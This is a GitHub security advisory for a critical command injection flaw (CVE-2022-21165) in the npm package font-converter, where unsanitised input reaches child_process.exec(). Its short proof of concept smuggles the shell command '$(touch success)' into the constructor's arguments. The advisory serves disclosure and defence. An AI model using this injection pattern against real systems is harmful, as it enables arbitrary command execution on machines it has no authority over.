GitHub Advisoryadvisory · npm
GHSA-g2c3-vwff-m3xr Font-Converter Vulnerable to Arbitrary Command Injection
CRITICAL
Official page ↗
- Aliases
- CVE-2022-21165
- Ecosystem
- npm
- Packages
- font-converter
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-77
- Reviewed
- 2024-04-22
Affected packages
• npm font-converter: <= 1.1.1 (no fix yet)
Description
Overview
font-converter is a FontForge wrapper that allows conversion between different font formats (TTF, WOFF, OTF)
All versions of this package are vulnerable to Arbitrary Command Injection due to missing sanitization of input that potentially flows into the `child_process.exec()` function.
PoC
```js
var PUT = require('font-converter');
var x = "$(touch success);# ";
try {
new PUT(x, x, x, x);
} catch (e) {
console.log(e);
}
```
Related
Alias · CVE (1)
- CVE-2022-21165 All versions of package font-converter are vulnerable to Arbitrary Command Injection due to missing sanitization of input that potentially… vulnerability
Weakness · CWE (1)
- CWE-77 Improper Neutralization of Special Elements used in a Command weakness